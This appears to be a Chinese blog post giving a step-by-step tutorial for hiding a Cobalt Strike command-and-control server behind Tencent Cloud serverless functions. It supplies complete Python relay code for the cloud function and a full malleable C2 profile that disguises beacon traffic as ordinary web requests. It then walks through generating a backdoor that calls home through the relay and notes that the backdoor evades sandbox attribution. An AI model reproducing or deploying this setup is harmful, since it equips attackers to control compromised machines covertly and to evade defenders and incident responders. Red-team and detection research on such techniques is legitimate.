zoukankan      html  css  js  c++  java
  • 使用云函数隐藏C2服务器

    介绍

    这个技术最先是在今年的3月份国外提出的,他们利用 azure 对 C2 进行隐藏,国内也有相对应的 云函数厂商,于是我们就尝试使用云函数对我们的 C2 服务器进行隐藏。

    这个技术的核心原理是利用云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的);C2客户端发出的流量经过 云函数的转发,到达我们的C2服务器,达到隐藏的效果,并且因为云函数的服务器是自带 CDN 的,所以为我们的信息传递提供了加速的效果,但是转发的途中有损耗,不能像直接连接那样快,但是足够让我们感受到快乐了。(引自狼组团队文章)

    参考链接:

    https://mp.weixin.qq.com/s/gfBE-HaUCgQw8L0QByqTDA (来源于WgpSec狼组安全团队)

    https://mp.weixin.qq.com/s/pqa-ce1Rdc0jKbdPUtsxyg

    https://blog.csdn.net/god_zzZ/article/details/109057803 (这篇没参考,网上搜到的,但是写的很好,留存)

    具体实现

    文章中提到,要使用cs4.1版本,4.0不行,我平时用的就是4.1,所以没有测试其他版本是否有问题。

    如果要实现,建议先看下狼组安全的文章,里面有一些原理的部分,对实验操作的理解有帮助。

    文章最先演示了一遍云函数的调用,我这边就不演示了,只写实现的部分。

    创建云函数

    以2021年4月20日为例,因为我发现腾讯云平台也会进行页面的更新,页面的内容会有变化。

    登录腾讯云平台,访问云函数功能链接:https://console.cloud.tencent.com/scf/list?rid=8&ns=default。点击新建,创建方式选择自定义创建。函数名称可以自定义进行设置,主要是函数代码部分,将下面内容复制到函数代码中:

    # -*- coding: utf8 -*-
    import json,requests,base64
    def main_handler(event, context):
        C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
        path=event['path']
        headers=event['headers']
        print(event)
        if event['httpMethod'] == 'GET' :
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
        return response
    

    C2的值填写c2服务器地址就可以了,后面也不再需要增加:80:443,点击完成后,云端会部署函数。

    创建完成。

    选择第二个功能:触发管理,创建触发器。触发版本选择$LATEST,触发版本选择API网关触发,其余的就不需要动了,点击提交

    触发器创建完成,点击API服务名,进入到管理API页面,在刚新建的API上,点击编辑。在编辑API页面中,将路径改为/,点击立即完成-发布服务即可。

    服务端新增profile文件

    将下面的文件内容复制下来,保存到x.profile文件中,注意后缀。放到team server服务端根目录下,启动时,加载该配置文件。

    set sample_name "kris_abao";
    
    set sleeptime "3000";
    set jitter    "0";
    set maxdns    "255";
    set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
    
    http-get {
    
        set uri "/api/getit";
    
        client {
            header "Accept" "*/*";
            metadata {
                base64;
                prepend "SESSIONID=";
                header "Cookie";
            }
        }
    
        server {
            header "Content-Type" "application/ocsp-response";
            header "content-transfer-encoding" "binary";
            header "Server" "Nodejs";
            output {
                base64;
                print;
            }
        }
    }
    http-stager {  
        set uri_x86 "/vue.min.js";
        set uri_x64 "/bootstrap-2.min.js";
    }
    http-post {
        set uri "/api/postit";
        client {
            header "Accept" "*/*";
            id {
                base64;
                prepend "JSESSION=";
                header "Cookie";
            }
            output {
                base64;
                print;
            }
        }
    
        server {
            header "Content-Type" "application/ocsp-response";
            header "content-transfer-encoding" "binary";
            header "Connection" "keep-alive";
            output {
                base64;
                print;
            }
        }
    }
    

    设置监听器

    管理API页面中,点击我们刚创建的APIid,进入到api的基本信息页面,我们要使用的是默认访问地址,用在cobalt strike创建监听器时使用。创建监听器时,我选择的是http,然后在HTTP HostsHTTP Host(stager)填入之前复制的地址。(这里是否选择http协议,根据你函数里的类型来选择)

    监听器创建完成后,生成后门程序,在靶机运行既可上线。

    云查杀

    使用微步云沙箱对生成的后门文件进行查杀,只能解析出腾讯云函数地址。

    有意思的事,用微步云沙箱跑完后,沙箱竟然上线了,哈哈,第一次碰到这个情况。

    后记

    在使用时发现一些坑点:

    1. 不能100%上线,会存在上线不了的情况,上线时调用云函数会有失败的情况。也有可能是我这边的问题,大家可以自己试下。
    2. 使用win7和win10作为靶机时,上线成功率较高,但是2012一直没有上线成功。
    3. 靶机上线后,源IP(内网IP不会变)会一只在变但是并不影响使用,命令可以照常执行。文章中给出的获取当前主机的方式是使用curl命令。shell curl ident.me,前提是靶机得有类似的工具。

    总结

    这种方式也还行,命令执行的速度也还可以,不慢。这也是隐匿方式的一种吧。

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    Hadoop杂记
    hadoop主节点(NameNode)备份策略以及恢复方法
    (转)第12章 Shell脚本编程
    Hadoop添加删除节点
    secondarynamenode异常
    (转)Memcached笔记——(一)安装&常规错误&监控
    浅(kou)谈(hu)杜教筛
    Pollard_Rho 算法
    Miller_Rabin 素数判定算法
    zoj分类(包括poj已做的)
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14680876.html
Copyright © 2011-2022 走看看